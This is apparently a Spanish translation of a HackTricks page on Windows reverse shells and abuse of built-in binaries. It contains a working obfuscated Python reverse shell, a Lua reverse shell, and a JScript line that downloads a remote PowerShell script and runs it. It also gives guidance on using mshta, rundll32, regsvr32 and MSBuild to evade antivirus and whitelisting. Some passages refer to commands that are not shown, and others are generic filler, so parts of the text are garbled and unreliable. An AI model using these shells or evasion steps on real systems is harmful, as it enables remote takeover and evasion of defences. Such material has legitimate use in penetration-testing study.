* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows lo que [https://gtfobins.github.io/](https://gtfobins.github.io/) es para Linux.\
Obviamente, **no hay archivos SUID ni privilegios de sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (ab)usados para realizar algún tipo de acción inesperada como **ejecutar código arbitrario**.
**sbd** es un clon de Netcat, diseñado para ser portátil y ofrecer una fuerte encriptación. Se ejecuta en sistemas operativos similares a Unix y en Microsoft Win32. sbd cuenta con encriptación AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), ejecución de programas (opción -e), elección del puerto fuente, reconexión continua con retraso y algunas otras características interesantes. sbd solo admite comunicación TCP/IP. sbd.exe (parte de la distribución de Kali Linux: /usr/share/windows-resources/sbd/sbd.exe) se puede cargar en una máquina con Windows como alternativa a Netcat.
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
Perl es un lenguaje de programación interpretado que se utiliza a menudo en la creación de scripts y en la automatización de tareas. Es especialmente útil para la manipulación de texto y la gestión de archivos. Perl se ejecuta en una amplia variedad de sistemas operativos y es compatible con muchas bibliotecas y módulos de terceros. Además, Perl es un lenguaje muy popular en el mundo de la seguridad informática debido a su capacidad para manipular datos y realizar tareas complejas de forma rápida y eficiente.
Ruby es un lenguaje de programación interpretado y orientado a objetos. Es muy popular en el mundo de la programación web y se utiliza en muchos frameworks como Ruby on Rails. También es utilizado en herramientas de hacking como Metasploit. Ruby es fácil de leer y escribir, lo que lo hace ideal para la creación de scripts y herramientas de hacking personalizadas. Además, tiene una gran cantidad de bibliotecas y gemas disponibles que pueden ser utilizadas para simplificar el proceso de hacking.
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
Powershell es una herramienta de línea de comandos y scripting desarrollada por Microsoft para la administración de sistemas Windows. Es una herramienta muy poderosa para los hackers, ya que permite la ejecución de comandos y scripts de forma remota en sistemas Windows comprometidos.
### Ejecución remota
Para ejecutar comandos o scripts de forma remota en un sistema Windows comprometido, se puede utilizar el cmdlet `Invoke-Command`. Este cmdlet permite ejecutar comandos o scripts en un sistema remoto utilizando la autenticación actual del usuario.
Powershell también puede ser utilizado para escalar privilegios en sistemas Windows comprometidos. Una técnica común es utilizar el cmdlet `Invoke-Expression` para ejecutar comandos en el contexto del sistema.
Este comando ejecutará el proceso `cmd.exe` con privilegios elevados.
### Persistencia
Powershell también puede ser utilizado para establecer persistencia en sistemas comprometidos. Una técnica común es utilizar el cmdlet `New-ScheduledTaskTrigger` para crear una tarea programada que se ejecute en intervalos regulares.
Este comando creará una tarea programada llamada "MyTask" que se ejecutará todos los días a las 3am con el usuario SYSTEM y ejecutará el comando o script especificado.
La técnica `mshta - sct` se utiliza para ejecutar código malicioso en un sistema Windows. Esta técnica aprovecha la herramienta `mshta.exe` de Windows para ejecutar un archivo `.sct` (Scriptlet Text) que contiene código malicioso. El archivo `.sct` se puede alojar en un servidor web o en un recurso compartido de red y se puede ejecutar mediante una URL o una ruta UNC.
Para utilizar esta técnica, primero se debe crear un archivo `.sct` que contenga el código malicioso. A continuación, se debe alojar el archivo `.sct` en un servidor web o en un recurso compartido de red. Finalmente, se debe ejecutar el archivo `.sct` utilizando la herramienta `mshta.exe`.
Esta técnica es especialmente útil para evadir la detección de antivirus, ya que el archivo `.sct` no es un archivo ejecutable y no se considera una amenaza por sí solo. Además, la herramienta `mshta.exe` es una herramienta legítima de Windows y no suele ser detectada por los programas antivirus.
La carga útil de Metasploit para Mshta se puede utilizar para ejecutar comandos arbitrarios en un sistema Windows. Mshta es una herramienta de línea de comandos que se utiliza para ejecutar archivos HTML como aplicaciones de escritorio. La carga útil de Metasploit para Mshta aprovecha esta funcionalidad para ejecutar comandos en el sistema de destino.
Para utilizar esta carga útil, primero se debe generar un archivo HTML que contenga el código que se desea ejecutar en el sistema de destino. A continuación, se debe utilizar la carga útil de Metasploit para Mshta para ejecutar el archivo HTML en el sistema de destino.
La carga útil de Metasploit para Mshta es una herramienta muy útil para los hackers que buscan ejecutar comandos en sistemas Windows. Sin embargo, es importante tener en cuenta que esta carga útil puede ser detectada por algunos sistemas de seguridad, por lo que se debe utilizar con precaución.
Este método puede ser útil para evadir la detección de antivirus, ya que `rundll32.exe` es una aplicación legítima de Windows y es comúnmente utilizada por otros programas.
Rundll32 es una herramienta de Windows que permite ejecutar funciones de una DLL como si fueran un programa. Koadic es una herramienta de post-explotación que permite el control remoto de sistemas Windows.
Para utilizar Koadic con Rundll32, primero se debe generar un payload de Koadic y guardarlo en un archivo DLL. Luego, se puede ejecutar el payload utilizando Rundll32 de la siguiente manera:
```
rundll32.exe <path_to_payload.dll>,<entry_point>
```
Donde `<path_to_payload.dll>` es la ruta al archivo DLL que contiene el payload de Koadic y `<entry_point>` es el nombre de la función que se desea ejecutar.
Por ejemplo, si se desea ejecutar la función `Koadic()` del payload guardado en el archivo `payload.dll`, se utilizaría el siguiente comando:
```
rundll32.exe payload.dll,Koadic
```
Este método puede ser útil para evadir la detección de antivirus, ya que Rundll32 es una herramienta legítima de Windows y el payload se ejecuta como una función de una DLL en lugar de como un programa independiente.
Regsvr32 es una herramienta de línea de comandos en Windows que se utiliza para registrar y desregistrar bibliotecas de vínculos dinámicos (DLL) y controles ActiveX en el Registro de Windows. También se puede utilizar para ejecutar código malicioso en un sistema comprometido. Los atacantes pueden utilizar Regsvr32 para ejecutar scripts de PowerShell y descargar malware en un sistema.
El módulo `regsvr32` de Metasploit permite ejecutar un payload en una máquina Windows utilizando el comando `regsvr32.exe`. Este comando se utiliza normalmente para registrar y desregistrar DLLs en el sistema, pero también puede ser utilizado para ejecutar código malicioso.
Para utilizar este módulo, primero se debe generar un payload utilizando Metasploit. Luego, se debe configurar el módulo `regsvr32` con el payload generado y la dirección IP del atacante. Finalmente, se debe ejecutar el comando `regsvr32.exe` en la máquina objetivo para que se ejecute el payload.
Este método es útil cuando se tiene acceso limitado a la máquina objetivo y no se puede ejecutar directamente un payload. Sin embargo, es importante tener en cuenta que este método puede ser detectado por algunos antivirus y soluciones de seguridad.
Metasploit tiene un módulo llamado `windows/script/cscript` que permite ejecutar scripts de VBScript en una máquina Windows remota. Este módulo es muy útil para ejecutar comandos en una máquina comprometida sin tener que cargar un ejecutable adicional en el sistema.
Para utilizar este módulo, primero se debe establecer una sesión de Meterpreter en la máquina objetivo. Luego, se puede ejecutar el comando `run windows/script/cscript` y especificar el script de VBScript que se desea ejecutar. El script se ejecutará en la máquina objetivo y los resultados se mostrarán en la sesión de Meterpreter.
Este módulo también permite especificar argumentos adicionales para el script de VBScript, lo que puede ser útil para personalizar la ejecución del script. Por ejemplo, se puede especificar un archivo de entrada o salida para el script.
Es importante tener en cuenta que este módulo requiere que el servicio de Windows Script Host (WSH) esté habilitado en la máquina objetivo. Si el servicio no está habilitado, el módulo no funcionará.
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
Puedes utilizar esta técnica para evitar la lista blanca de aplicaciones y las restricciones de Powershell.exe. Ya que se te pedirá una shell de Powershell.\
Solo descarga y ejecuta esto: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
Puedes descargar un shell inverso básico en C# desde aquí: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
En la carpeta **Shells**, hay muchos shells diferentes. Para descargar y ejecutar Invoke-_PowerShellTcp.ps1_, haga una copia del script y agregue al final del archivo:
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).